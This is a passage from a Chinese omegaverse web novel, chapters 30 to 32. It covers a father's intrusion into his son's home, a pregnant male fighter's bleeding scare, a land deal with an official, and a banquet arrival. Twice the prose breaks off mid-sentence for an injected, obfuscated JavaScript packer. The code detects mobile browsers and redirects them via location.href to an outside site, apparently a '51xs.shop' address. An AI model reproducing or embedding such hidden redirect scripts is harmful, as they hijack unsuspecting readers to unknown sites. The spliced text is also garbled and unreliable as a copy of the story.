见状,陆庭风也喜不自胜地大笑三声:“哈!哈!哈!所以说,塞翁失马,焉知非福啊!之前那块商业用地贵得很,就是占了新区发展和地铁口的优势而已,一堆人抢破头!咱们要建的场馆呢,说实话,商业成分不算高,买那块地是有些多余了。相比之下,这块就合适得多,也便宜不少!而且现在老旧厂房的改造有鼓励政策,它正好坐落在居民区和学校附近,变性成体育用地也是顺理成章,钟为鸣再不帮忙,那可就说不过去了~” 越说越满意,闻人律马上打电话给手下,让他们开始着手这块地的竞标和改造设计。正琢磨着什么时候约钟书记去松园山庄聊一聊,手机突然震动一下,是监控app发来了警报信息。闻人律下意识拧起眉,点击查看,只见监控画面中,一个精神矍铄的Alpha男性大摇大摆地站在自家玄关里,板着脸跟敏姨说话——正是他的父亲闻人谦信。 “……操!”罕见地爆了句粗口,闻人律立即打电话让司机开车过来,他自己也快步朝园区门口赶去。陆庭风莫名其妙地跟在后头,茫然地问:“怎么了?啊,发生什么事了?” “我爸擅自跑到我家里,又在为难敏姨了!” ---------------- 在夏管家的陪同下走进闻人律居住的小区时,闻人谦信挑剔地环顾一圈,露出了不屑的神情:“哼,家里的别墅他不去住,偏要买到这种寒酸的地方,连一点儿园林造景都没有!真不知道他在想什么。” “少爷大了,有自己的想法。”夏管家圆滑地敷衍过去,并旁敲侧击地提醒:“他现在不在家,咱们不如出去转一圈,晚上再来?这样贸贸然地上门去,他的帮佣见了也不认识呀,到时候引起误会可就不好了。” “误会?什么误会?”闻人谦信倨傲地瞪他一眼,“人家一看我这张脸,就什么都知道了!一个模子印出来的,误会谁也不会误会了我!” 说着,他挣开夏管家的搀扶,自己拄着拐杖,一瘸一拐地走到了门禁面前。无奈,夏管家只得走过去,认命地按下门牌号,不多时,一个声音响起:“你好,你们找……天啊,是老爷!”惊呼过后,对方立即放行。闻人谦信满意地笑笑,又斜夏管家一眼:“我说了吧,没人认不出我。” 到了八楼,二人走到房门前,还没按门铃,大门便打开了,里头立着一个眼熟的Omega女性,约莫55岁上下,身材矮小,打扮朴素。闻人谦信狐疑地看着她,不禁道:“你……你不是?” 夏管家也吃了一惊,但他反应很快,在敏姨开口之前便抢先道:“她是之前照顾少爷起居的帮佣,就在原来京城紫藤苑的那栋别墅里。” “哦,我说呢,那么眼熟。”不以为意地走进房子里,闻人谦信不疑有他,自顾自地开始四处审视。敏姨感激地对夏管家笑笑,两人默契十足地没有出声,只交换了一个你知我知的眼神。然而转了半圈,闻人谦信终究是想了起来,警觉地拧起眉瞪向她:“不对,你是那个胆大包天的保姆,哄小律喊你作妈妈的那个!” 敏姨心头一跳,吓得连连摆手:“不,不是……老爷,我真的没有哄他!是少爷自己叫我妈妈的!而且他十岁之后,我再去照顾,他也没有叫过了……我真的没有哄骗少爷!” “你还说没有哄骗!”闻人谦信怒不可遏地拿起拐杖,用尖端咄咄逼人地指着敏姨,夏管家拦都拦不住:“如果你没有哄他,他现在怎么会又把你请回来?!一而再、再而三的,你倒是阴魂不散,把你赶走两次你都有办法缠上来,我真是小看了你!……夏群,夏群?!给我把她赶出去!留她在这里,哪天把我儿子都抢走了!” “老爷!”夏管家为难地拦着他,劝说道:“少爷是您的亲生儿子,谁都抢不走!李敏不过是个保姆罢了,少爷用得顺心,您又何必阻拦呢?您别忘了,这次来申城是要修复你俩的父子感情,不是来干涉他生活的呀!” “我干涉又怎么了?!真可笑,我从小养着他,供他吃穿供他上学,还养出仇来了是不是?别说一个保姆,我让他娶谁做老婆,他都得听我的!”闻人谦信怒声吼着,拐杖一挥,只听“呯”一声,客厅里的茶几被他砸出了一个不浅的凹痕。 无法,夏管家只得给敏姨使个眼色,让她装一装。敏姨会意,顺从地道:“我知道了……我这就去收拾行李。” “收拾快点儿,别磨磨蹭蹭!”还嫌不解气,闻人谦信又挥了一棍,这次砸在地板上。敏姨忙不迭点头:“好、好。”她解开围裙放到餐椅背上,心慌意乱地走到次卧前,打开门,却忘了自己刚才特意将狗狗路易关到了里面! 只见一道金影自脚边飞掠而过,随即是“汪”一声炸雷般的狗叫,路易轻松跃过沙发,凶猛地朝闻人谦信扑去!客厅里瞬间乱成一团,闻人谦信摔倒在地,双手攥着拐杖勉力抵挡路易的利齿,一张脸失了血色,慌张地大吼:“怎么回事,哪来的狗啊?!”他今日出门没带保镖,此刻只有身边人能帮他。夏管家抓住路易的尾巴用力拖拽,敏姨看见这个动作,刚想制止,可惜为时已晚——路易吃痛地转过头,在他小臂上狠狠咬了一口! “嗷!”这下,哀嚎的人变成两个了 赶紧扑上去搂住路易的脖子,敏姨招架不住成年阿富汗猎犬的挣扎,着急地直喊:“你们快出去!我拉不住它!” 顾不上疼痛,夏管家赶忙扶起闻人谦信想往外走,却见路易一扭身,凶神恶煞地直扑他们而来。二人惊叫一声,只得转向,慌不择路地冲进书房里,飞快地关上门。路易刹车不及,“砰”地撞在门上,发出了一声惊天动地的哀嚎:“汪呜!” 这一下撞得结结实实,路易清醒了,也委屈了,嘤嘤哭着跑回敏姨身边,钻进她怀里要安慰。敏姨哭笑不得地搂着他,心慌地直叹:“路易,路易!你闯了大祸知不知道!这次,恐怕少爷也救不了你了!” --------------------- 二十分钟后,闻人律终于赶到家里。一进门他就看见敏姨用力搂着路易,企图把它从书房门口拉开。他还以为父亲离开了,担忧地问:“敏姨,你没事吧?” 敏姨看见他就像看见救星一样,哭丧着脸道:“少爷!快,你快把路易锁到别的房间里,它一直堵在书房门口,不让老爷和夏管家出来!” ……原来那俩还没走。 望着固执的路易,闻人律忽然很解气,摸摸它的头夸赞了一句:“干得好。”敏姨又想哭了:“你别夸它了……它把老爷扑倒了,差点儿咬了一口。夏管家去拽他尾巴,被结结实实咬在手臂上!少爷,快帮忙把它关起来吧。” 二人齐心协力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572164|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个抱狗头,一个抱狗腿,这才将路易塞到敏姨房里,锁上房门。随即敏姨着急地给他使眼神,意思说你爸和夏管家被堵在里头好久了,你赶紧开门慰问一下。闻人律却不急,他把敏姨推到了自己卧室里,说:“敏姨,你回避一下,别出来,就当什么事都没发生过。其他的我来处理。” “哎,不是……”话音未落,门已关上。闻人律不紧不慢地走到书房,打开门,只见自家父亲气鼓鼓地坐在书桌前,夏管家扶着手立在他身旁,两人脸上都带着疲色,想必方才同路易对峙了许久。 见他进来,闻人谦信双眼一瞪,大掌在桌上重重一拍,立即开始发难:“——你好大的胆子!我早说过,那个人心怀不轨,离间我们父子关系,你现在又把她请回来,是故意气我吗?!还有那只狗,你明知道我讨厌狗,为什么偷偷养一只在家里!那个李敏,还故意放狗出来咬我们,真是岂有此理……你赶紧把她们两个都处理了!” “偷偷?”闻人律冷笑,“首先,我是光明正大养的,其次,我养不养狗,跟你有什么关系?这是我的房子,我爱怎么养就怎么养。再者,敏姨现在是我的帮佣,她尽职尽责,工作认真,我为什么要解雇她?” “……你!”气得手指颤抖,闻人谦信咬着牙,脸上的沟壑无法避免地显出了老态:“你长大了,翅膀硬了是不是?敢跟我叫板了,你、你……” 怒到极点,他脚下一晃,差点儿倒下去。夏管家赶忙扶住他,从兜里摸出降压药塞进他嘴里:“少爷,你少说两句吧!老爷身体大不如前了,前段时间还有血栓的迹象,幸好发现得及时……这次造访,他只是想看看你住得好不好,没有别的意思。” “是吗?那他为什么还要千方百计破坏我的‘好’?”冷笑着递过一杯水,闻人律并无上前慰问的意思,反而双手插兜,冷眼旁观。 半晌,闻人谦信终于缓过劲儿来,抬起苍老疲惫的眼,气若游丝道:“你长大了,我管不住你了……我也不想管你!你比你弟弟聪明,比他出息,我知道,家里的事业没法儿交给他,只能由你来担。你那公司……办得还算可以,现在卖出去能过亿。这阵子你就着手卖了吧!然后跟我回京城,我所有的事业都是你的。” ……说着不想管,但话不到三句,还是要管!闻人律冷笑一声,讥讽道:“所有的事业都给我?你有没有问过阿姨,她愿不愿意?” “她生养出那么个好儿子,有什么资格说不愿意!”闻人谦信怒道。 “是吗?”不以为然地撇开脸,闻人律走到门前,做了一个“请”的动作:“只可惜,你们愿意,但我不愿。我是不会跟你回京城的,你死了这条心吧。” “……你!”眼看着又要生气,夏管家赶紧扶住他,低声道:“老爷,来日方长,咱们不能心急!”闻人谦信呼吸不稳地看看他,又看看眼前这个与自己长得几乎一模一样的儿子,他正如日中天般强盛,自己却逐渐日暮西山,有心无力了。 无奈,闻人谦信只得冷哼一声,撑起拐杖,腰背挺直地走了出去,夏管家紧随其后。在穿过门框时,闻人律低头看向夏管家被路易咬破的手臂,朝他递去一个歉意的眼神。夏管家不语,只苦笑着摆摆手,扶着闻人谦信慢慢离开。 ------------------ 第二天去上班,他一走进办公室,陆庭风就跟了过来,探头探脑地问:“怎么样啊,跟你爸吵起来没?” 他这看热闹不嫌事大的样子引得闻人律眼睛一眯,把手机往桌上一放,回身道:“怎么,你好像很希望我跟他打起来?” 陆庭风立即高举双手作投降状:“我只是关心你,你有气别往我身上发,我是无辜的。”把自己撇得一干二净。 被他说得没了脾气,闻人律冷瞪他一眼,坐下来,说所有话之前先狠狠叹一口气,心浮气躁:“他嫌我那个弟弟不成器,现在想让我卖了公司回北京,接手他的事业。” “什么?!”一听到“卖公司”三字,陆庭风立即跳了起来:“你爸怎么这样啊!咱们辛辛苦苦创办的公司,他说卖就卖,凭什么啊?!……哎哟喂,我可算知道你为什么烦他了,换我我也烦!” 他义愤填膺地叫叫嚷嚷,闻人律听得耳朵疼,赶忙伸手制止:“行了你别嚷嚷,我拒绝了!不过看他的样子,恐怕不会善罢甘休……以后有得我心烦了。” 陆庭风一听,立刻跑出三丈远,一副死道友不死贫道的架势:“那你自己对付他昂!我只是个实习生,过不了两年就要回去接管家族企业,你别让我冲锋陷阵……” 闻人律简直要被他气笑了:“我什么时候让你冲锋陷阵了!倒是昨天下午那个厂房,投标工作开展没有?钟书记你帮我约了没有?!” “都吩咐下去啦,钟书记我也帮你约啦,明天晚上八点松原山庄——”陆庭风拉长了声音答他。 “还有,洛城那房子卖出去了吗?欠我的钱什么时候能补上,我利息都损失十来万了!” “嘿——当时是你自己说不找过桥公司的,现在又来斤斤计较!”陆庭风好笑地瞪他一眼,又答:“我正想跟你说这事儿呢。前两天他那俩房子都卖出去了,过户也弄好了,唐秘书正在着手转款。你看看,什么时候通知洛城来拿证件?他身份证什么的都在我这儿。” “还什么时候——就现在吧!反正他没什么正事,让他马上过来。”闻人律冷酷道。 一个钟后,许久不见的洛城终于出现在办公室。当抬起头看见他清瘦的面颊时,闻人律结结实实地怔了好一会儿,随即难以置信地拧起眉:“洛城……?!你怎么瘦成这样了?” 31.卧推100kg后见红了 见来人与自己印象中的洛城大相径庭,闻人律不禁站了起来,困惑地望着他:“你最近没饭吃吗?” 今日不用遮掩身份,洛城难得穿回了以往的无袖背心和运动短裤,露出来的胳膊和大腿都细了一圈儿,面部更是清瘦不少。他倒不以为意,“害”一声敷衍道:“我女朋友孕吐得厉害,经常吃着饭就吐出来。她一吐,我跟着也吃不下,就瘦了呗。” 闻人律无言以对:“你非要亲力亲为地照顾吗,就不能请个保姆?” 洛城一屁股坐到沙发上,自来熟地给自己倒茶喝,末了还白他一眼:“就你预支给我那二十万块,我哪敢请保姆啊?要不,你再给我二十万,我就请得起了。” 两个星期不露面,一来就提钱。闻人律心中不悦,沉下脸道:“你卖房子那一千多万刚够还过桥公司的钱和信用卡的钱,哪来二十万给你?难道你又想预支,再欠公司二十万?” 洛城悻悻地垂下眼,嗫嚅道:“欠就欠嘛,我又不是不还了……晚一点而已。” 他低头时,颈椎的第七节骨头微微凸起,显示出一个嶙峋的弧度。腮骨也瘦得凌厉,仿佛只有一层薄薄的皮覆盖在骨骼上面。闻人律看一眼,暗暗惊心,忍不住又看一眼,终究是没抵住这种冲击:“……行了行了,借给你!赶紧请个保姆回去,下次见你要还是这么瘦,你就别休假了,老老实实回来打卡锻炼!” “嘿嘿嘿!”洛城立即笑眼眯眯,露出一口整齐的白牙:“就知道律总最好了!” 拿了身份证和户口本欢天喜地地离开,陆庭风慨叹地插个兜看着他的背影,难以置信道:“想不到他这么吊儿郎当的人,当爸爸后倒是挺尽心的——哎,要我说,干脆把钱都给他算了。免得他抠抠搜搜的,处处想着省钱,倒把自己搞垮了。” “给什么给,不给。”闻人律依旧不为所动。洛城的房子其实卖得不错,还完钱后还剩个七十万。但以他那个粗枝大叶的性子,能不能守得住都是个问题——万一他那女朋友不安好心,把钱给骗走了呢?闻人律摇摇头:“四十万够他花了。多的那三十万就先在我这儿放着,以后我再一点点给他。” “……嘿,你还真把自己当他管家了!”陆庭风忍不住啐他。 闻人律瞪他一眼:“多事!” --------------------- 从公司出来,洛城打个的士,一转弯去了训练馆。 每天在出租房和医院间两点一线,他感觉自己快无聊死了,总想找人说会儿话、吹吹牛。正好,前三个月危险期结束,胃口也复苏了,宁祁说他可以适当运动一下,洛城便趁着过来拿身份证的机会,去训练馆跟老朋友们见个面。 一走进场馆,他消瘦的模样就让前台小妹吃了一惊:“城哥,你怎么瘦成这样?” 洛城笑笑,也不好多解释,就道:“天热,吃不下饭。” 一路走进去,陆陆续续有人看到他。大家都一副惊愕的样子,以为自己认错了,甚至没敢开口喊人。直到进入实战区,正给周青云演练战术的曹磊听见动静望过来,才终于唤了他一声:“阿城!你,你怎么回事!” 立刻丢下周青云,从拳台上翻下来,曹磊对着他打量一圈,脸色愈发凝重:“你跟我说实话——你是不是生病了?赛前你失踪买醉那次,是不是因为查出了重病?” 见曹教练如此关心自己,洛城心里颇为感动,鼻子都有些泛酸:“害,没事——能有什么事儿啊?我瘦是因为别的原因,不是因为得病!”然而他这个勉强的笑容看上去太像欲盖弥彰了,曹教练怀疑地瞪着他,好似在埋怨他居然还不肯说实话。无法,洛城只得又搬出那套说辞:“其实啊,我是在一个omega身上栽了……我之前不是去了个宴会吗,你应该记得吧?” “嗯?”曹磊将信将疑,眼神依旧锐利。洛城揽过他的肩膀,继续道:“那个Omega怀孕了,找我负责……你也知道我喜欢孩子,所以我就请了假,专门在照顾她呢。前三个月不是容易孕吐嘛,她老吐老吐,晚上又睡不好,我跟着也受折磨,这不就瘦了呗!” 说着,他大大咧咧地拍曹磊一掌,笑道:“你看你,担心得跟什么似的!这是喜事,知道吗,再过几个月我就当爹了,到时候把宝宝带给你们看,你可要准备一个大红包昂!” 曹磊被这个消息砸得有点儿懵,神情恍惚:“真假啊,你有娃了?” 洛城差点儿就拍着肚子跟他保证:“如假包换!你就安心等着当伯伯吧!” 见他表情嘚瑟不似作伪,曹磊终于吁一口气,忿忿地擂他一拳:“你这混账,当爹了就该早点说出来嘛,搞得我们疑神疑鬼的,还以为你去治病了呢!” 他们这边气氛一轻松,周围探头探脑的人立即吁口气,纷纷围上来:“城哥,你到底怎么回事啊,瘦成这样?” “就是,吓得我们都不敢说话!” “大惊小怪什么!”曹磊吊胃口地板起脸吼他们,待四周安静之后,他忽然大笑:“你们城哥,要当爸爸啦!” “真的啊!”众人纷纷惊呼,“城哥的娃,那岂不是刚生出来就会拳脚?绝对是综合格斗的未来之星啊~” “说什么话!”洛城被逗得发笑:“万一分化后是个omega呢?” “Omega更好!”有人大喊:“给我家儿子当媳妇!” “滚滚滚!”洛城咬牙切齿地踹了那人一脚。 …… 热热闹闹地寒暄了好一阵儿,人群终于慢慢散去,各回各位。曹磊懒洋洋的,没舍得走,坐在垫子旁跟他闲聊: “我现在给周青云做战术教练,他签约了THE ONE,比赛在一个月后。老邓呢,去给伍沛霖练体能了……你别说,伍沛霖真的很拼命。他进步很快,前天我去看他练习,嚯,那步伐、那移动,跟你差不了多少,我怀疑他把你的比赛录像看了一百遍!” “真的?”能让曹教练给出如此高的评价,洛城满脸错愕,很有些惊讶。见他不信,曹磊也不多说,果断一招手,带他前去观摩。二人横穿半个训练馆来到VIP训练室大敞的门口,只见房间正中央的拳台上,伍沛霖身着黑色短衣短裤,正跟助教进行拳击练习。他眼神专注、步伐灵敏,出拳摇闪干净利落,若不是臂展差了点、头发短一点,旁人也许真的会认错他们俩。 那一刻,洛城突然想起来,自己很久没有看伍沛霖比赛了。在不知不觉中,他一步一个脚印地朝前走着,稳扎稳打,已经逐渐来到了自己的身后。 下意识摁住曹教练的肩膀,洛城失神地问道:“你说,我一年后再回来……伍沛霖的排名会不会到我前头去了?” 一时间难以回答,曹磊给了他一个自求多福的眼神:“若是以前,我肯定会告诉你不可能;但是现在……你还是自己估量吧。” ---------------------- 那天下午,洛城被曹教练吓得留在训练馆运动了两个小时。 因为顾虑宝宝的关系,他暂时不敢剧烈运动,先在登山机上浅练了半个钟,感觉肚子无甚反应,又以中等速度跑了个两千米。不知是不是怀孕的缘故,他发觉自己的体能有所减退,跑完后略有些筋疲力尽,但休息一会儿之后也恢复了正常。 于是洛城胆子大了,走到器械区开始练习卧推、深蹲。他先是试着推了120KG,这个重量以前可以说轻轻松松,现在居然颇为吃力……?发力时核心肌群试着绷紧,却总感觉肚子里酸酸的,像腹部肌群缺失了一块似的,无法更好地募集力量。 最后,他只敢以100kg的重量做了五组训练,半途中还遭到了旁人的耻笑:“怎么回事,城哥,今天才蹲100kg啊?偷懒了哦。” 对对对,就是偷懒了,怎么着?洛城气喘吁吁,没有啐回去。半晌做完了,瘫在凳子上休息好一会儿,他才头重脚轻地站起身,慢吞吞朝卫生间走去……进了隔间脱下裤子一看,内裤上一痕淡淡的血色,不算明显,却足够触目惊心。 他忙不迭打的去了医院。 顾不上被人认出来,洛城直直冲进宁祁坐班的诊室,挤开了正在看诊的孕妇:“怎么办,流血了!我今天就是运动了一下,它就流血了……” 冷不丁被挤到边上,那夫妇二人一怔,随即不满地叫起来:“哎你这人怎么回事,叫到你的号了吗?再着急也得排队啊……” 事发突然,宁祁吓了一跳,赶忙把洛城往门外推,同时大声道:“啊,你家夫人出血了是吗?那,那我让护士带你们去做个检查吧?那个,苏林菲——”他冲小护士狂使眼色:“带这位先生和他家夫人去做检查。” “啊、啊,好!先生您跟我来……”小护士拖着洛城疾步走进了产科B超室里。 关上门,苏林菲脸都吓白了,用气音后怕地道:“你干嘛呀!生怕别人不知道你肚子里有个孩子是吗?!” “我流血了!”洛城也不由自主地转成气音,惊慌失措地冲她喊:“你快给我做个检查!” “好好好我知道了,你别急,先脱裤子给我看看!”说着,苏林菲伸手去拽他的裤腰,洛城也忘了顾忌,将裤子卷着内裤一齐脱下来,让她看裤档后部那一痕浅浅的血迹。 小护士紧张地打量几秒,随即吁一口气,说:“就这么一点点血呀!没事,很多孕妇在怀孕期前期都会见红,只要量不大就没问题,你放心……”说着,她抬起头,却正正看到了洛城腿间的那个东西。 还没等小姑娘反应,洛城便“啊”一声惨叫,手忙脚乱地把裤子扯了上去:“你个小丫头,怎么脱我裤子啊!” 苏林菲后知后觉地眨眨眼,半晌才反应过来,操起文件夹猛打他:“我还没喊呢,你瞎嚷嚷个啥,吓我一跳!看了就看了,你个Alpha害臊什么,你不是前女友一大堆么!” 洛城一边躲一边高接抵挡,轻轻松松全给防了下来:“那怎么一样!我又没打算让你看!” “不让我看我也看了!以后别一惊一乍的,我还在泌尿科干过呢,阅鸡无数了都,不差你这一根!” 宁祁进来时看见的就是这样一幅画面——洛城撇着嘴一脸憋屈地坐在一旁,苏林菲则骂骂咧咧地满地捡表格,A4纸散得到处都是。他不禁傻了眼,问:“不是说出血么,怎么样了?” “就那一点点血!”苏林菲无语地瞪洛城一眼,“我还以为怎么了呢,一惊一乍的!”说着,把纸张夹进文件夹里,小下巴一抬,气鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575820|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼓地走了出去。 宁祁又望向洛城:“你怎么惹她了。” 洛城扁嘴:“她把我的鸟看光了。” 差点儿没笑出声来,宁祁努力憋住笑意,声音微微颤抖:“你在乎这个?” “我怎么不在乎啊,啊?!”洛城纠结地喊:“她长得跟个高中生似的,我像在耍流氓你知道吗?!” “苏林菲二十六岁……”宁祁捂着脸解释。 “我知道!我就是没有心理准备!” “好好好好……”终于把笑忍回去,宁祁推一推眼镜,正色道:“你今天干什么了,怎么会出血?” “我就,”洛城躲闪的视线里透出一丝心虚,“100kg卧推和深蹲各做了几组……” 宁祁忽然无言以对。 见状,洛城立刻会意,忙不迭道:“好好好我知道了我知道了,以后我量力而行,不上这么大重量了……” “不是重量的问题,是你现在刚出危险期,应该从有氧运动开始,循序渐进……”宁祁耐心地解释。洛城立即举起手,打断他的话:“好好好,明白!今天是我大意了,以后我都听你的。” 都听我的?宁祁微微瞪大眼,嘴边不由露出一个笑:这话听起来……感觉不错。 ------------------- 一场暴雨将夏夜的闷热涤荡了个干净。 城郊的夜晚十分空寂,松原山庄中只燃着素青色的灯笼,一盏盏沿着走廊延伸向各个包间,光线朦胧而隐秘。四周回荡着蛙鸣的声音,一只萤火虫顺着开敞的轩窗飞进室内,停在实木茶几上。闻人律看见了,伸手将它轻轻拂起,再往空中一抛,它立即振动双翅,慢悠悠飞回了室外的深夜里。 今日泡的是正山小种。钟书记对红茶似乎很是钟爱,喝得眉开眼笑的,态度比前几次会面亲和许多: “贤侄啊,C22-3那块地,不是我不想帮你,实在是帮不上……那块地是新区的地王,太重要了,那上头建的建筑就定了一整片区的调子,我是真的爱莫能助呀。专家们讨论后,都觉得那儿要搞个热闹的商业综合体,我在规划方面是外行,所以还是得尊重他们的意见……” 闻人律宠辱不惊地笑笑,表示理解:“我明白。体育发展到底是排在经济发展后头的,白氏的方案又做得好,赢了也是理所应当。只不过呢,我们这边也急需建设新场馆——贷款都快下来了,不能不用啊,晚一天就是多一天的利息,对不对?所以,钟书记,我们物色了一个新的地块,您看,等竞标结束后,您能不能帮催一催……” 将地块信息递过去,钟书记只瞟了一眼,便说:“这块地好办得很,我不使劲儿你们都能拿下来,又何必多此一举呢?” 闻人律望着他,意有所指道:“这不是跟您打个招呼么?毕竟在您的地界上,不吭一声就去做了,多不好啊。” 闻言,钟书记倏地抬起眼,与他对视,相望间露出一个笑:“贤侄,太客气了!” 闻人律也笑:“应该的应该的,我是晚辈,要有礼数的嘛。” 送走了钟书记,陆庭风哈欠连天地看看表,已是晚上十点:“行了,咱们也回吧。这块地没什么人跟我们争,绝对稳了的。” “再坐会儿。”闻人律却没起来,依旧慢腾腾地喝茶,神情间心不在焉的。陆庭风知道他在烦心什么,当即叹口气坐到他对面,倒了杯茶一边啜饮一边道:“后天你爸六十大寿,你不会真不去吧?” 闻人律不说话。 “我知道你讨厌他,但后天那么多人到场,有亲戚有朋友,还有商业伙伴,你不去未免太不给面子了。”陆庭风道:“而且你那两个叔叔,还有你小姑,他们肯定都打电话劝你了。所以很明显,你爸这次突然来申城办寿宴,就是希望你参加的……不管出于什么目的。你要是不去,这宴席就不成了。” “还有什么目的?不就是想逼我回去吗。”将茶杯往桌面上一丢,闻人律冷笑一声,向后仰倒在榻榻米上,眼神冰冷:“……宴席成不成关我什么事,不成最好,我还能看热闹。” “可是……你不去的话,怎么看热闹呢?”陆庭风滴溜溜地瞅着眼,言语间都是暗搓搓的怂恿。闻人律越听越不对劲,忍不住抬起头,从桌面上冒出半张脸用力瞪他:“你搞什么,你很希望我去吗?” 这厮一个激灵,立刻换了副可怜兮兮的表情:“你忘了吗?咱俩老爸一个交际圈的,我爸要去,我也得去的啊!” 冷冷地斜着他,闻人律又躺了下去:“关我什么事。” “大哥你有没有良心!”哀嚎着匍到茶几上,陆庭风开始发疯:“你想让我成为众矢之的吗?他们谁不知道我在你手下做事?结果我来了你却没来,别人要是问起,我该怎么回答?” 闻人律闭着眼不理他。 见状,陆庭风牙关一拧,换了个思路又道:“……而且你就这样坐以待毙吗?什么都不做,就等着你爸先出招?你想想清楚,你爸都开始打登峰的主意了——咱们恰逢买地建新场馆的重要关头,万一他来一招釜底抽薪,让咱们的计划再黄一次,银行贷款的利息你能撑得住几天?” 双眼立即睁开,闻人律犀利地望过来,愤恨地剜了他一眼。 32.相亲 宴席在丽思卡尔顿的的宴会厅举办。 傍晚六点,闻人律换好西装梳好头发,正准备打电话让司机来接自己,陆庭风的电话却先来了。他问:“你出发没啊?”背景音里同时还有两个男性中年人的声音,一轻一沉,像是他爸妈。 闻人律道:“准备出发,怎么?” “那我去接你呗,正好从你家过。我爸说想跟你聊聊天。” “叔叔想跟我聊什么?” “哎……”陆庭风叹口气,声音变得神神秘秘,好像是掩着嘴回答的:“还不是想让我回华视,但我妈的意思是为时尚早,他就想拿你做筏子……你记住啊,这事儿以我妈的意见为主,你别傻兮兮地顺着我爸的话走。” 闻人律嫌弃地拧起眉:“你觉得我是这么蠢的人么?” “哎呀我这不是先跟你提个醒儿嘛……” 半个钟后,陆家的车到达小区。闻人律一下楼就看见一辆黄牌的加长凯迪拉克,车门大敞着,陆庭风的老爸探出半张脸,笑着招呼他:“小律,快上来!”他点点头,躬身坐进去,同两位长辈打招呼:“陆叔叔,庄叔叔。” 陆庭风的老爸陆其明性格爽朗,老妈庄平巍稳重温和,都是很好相处的人,闻人律跟他们吃过几次饭,算得上熟稔。陆其明经营着国内第二大的影视公司华视,旗下明星多不胜数,光影帝影后就有八位。四年前,陆庭风刚留学归来时他就想急流勇退,把公司交给儿子打理,只可惜老婆不同意。正巧闻人律那儿需要一名总裁特助,庄平巍就把儿子丢了过去,说先让他锻炼几年,等时机成熟,再回来继承华视。 ……可时机怎么样才算成熟呢? 如今,陆其明即将年满六十,他觉得儿子锻炼够了,便旁敲侧击地对闻人律道:“小律呀,你那体育经济公司办得真不错,去年好像又开展了拳击业务,嘿,蒸蒸日上啊!你看,庭风跟你差不多大,但他明显不如你!年近三十了,还是不能独当一面,成天缩在你身后……这人呐,不承担责任就没法儿成长,我觉得他是时候回来帮我了,你觉得呢?” 此时,话题的主角正一脸乖巧地坐在妈妈身旁,眼观鼻、鼻观心,安安静静的不说话。闻人律瞥他一眼,微笑道:“叔叔说得有道理。” ……陆庭风惊恐地抬起眼,威逼利诱地瞪视过来。闻人律又笑,继续道:“不过呢,最近我们在计划买一块新的地,建设新场馆。这事儿比较紧要,暂时离不开他。要不这样吧,陆叔叔,明年这时候,新场馆肯定落成了。到时您再把他叫回去,既不耽误事儿,他也能多涨一年的经验。” 闻言,陆庭风放下心,神情又变得乖巧。这时,庄平巍露出了一个不紧不慢的笑容,垂眸转动着右手无名指上的戒指道:“我也觉得不着急。庭风还年轻,定性不足,回来管理华视的话,那些小明星们少不得对他前赴后继的……乱了心性就不好了。” 说这句话时,他抬起头,意味深长地瞪了丈夫一眼。陆其明似乎有些尴尬,撇开脸轻咳一声,没有应答。 闻人律和陆庭风则装作听不懂——长辈之间的感情官司,他们做小辈的,还是老实闭嘴吧。 沉默一会儿,陆其明又轻咳一声,悻悻地附和道:“那也行。老话都说成家立业,成家排在立业前头……就让庭风结婚之后再回来接管公司吧。” 说着,他望向闻人律,巧妙地调转了矛头:“小律,你爸这次来申城,估计也有这个意思。他这人是有些固执,年轻的时候刚愎自用,事事随心所欲,对子女的关心也比较欠缺……但人老了都会渴望亲情。我觉得,你应该给他一个机会,一个补偿的机会。毕竟你们是父子,他做得再不好,父子的血脉也是相连的。” 不动声色地勾唇一笑,闻人律道:“我爸给您打电话了?” “跟这个没有关系,”陆其明并不正面回答,“我跟他都是做爸爸的,我知道他的心情!他现在想跟你亲近,想挽回跟你的父子感情,也许有时候是心急了一点……但你要谅解他,他只是太想弥补了。” 呵,是吗。想起那日他擅闯自己的房子,对着敏姨大放厥词,还砸碎了自己的茶几,闻人律不再多言,只垂下眼帘,淡淡地应一声:“我知道了,陆叔叔,我会考虑的。” ----------------- 七点十分,一行人终于到达宴会大厅。 作别陆家三人,闻人律穿过熙熙攘攘的人群向前走,很快就看见了三叔和三婶。葛玉蓉今日打扮得雍容华贵,一袭暗绿牡丹花的香云纱旗袍搭一条淡金色素纹披肩,配上复古又优雅的手推波发型,乍一看就像旧海报中的女明星。见了他,葛玉蓉眼睛一亮,朗笑着迎上来:“哎哟,咱们寿星公的宝贝儿子到了!” 一句话高亢又响亮,瞬间吸引了所有人的目光。闻人律笑得克制,嘴角的弧度仿佛经过计算,只勾起一点点,礼貌的同时也表达了敬谢不敏:“三婶,你这是干什么。”他不动声色地问。 葛玉蓉把他胳膊一勾,一边笑一边轻声道:“你那继母,下午时带着儿子从京城杀过来了!我这是在帮你宣告嫡子的身份呢,你居然不领情!” 什么嫡子……闻人律只觉得荒唐:“我本来也不在乎这个身份。” 行走间,二人来到三叔身旁。闻人谦义对他点头示意,随即伸手指向宴会厅东北角:“你爸爸他们在那边招呼客人,你去打个招呼吧。” 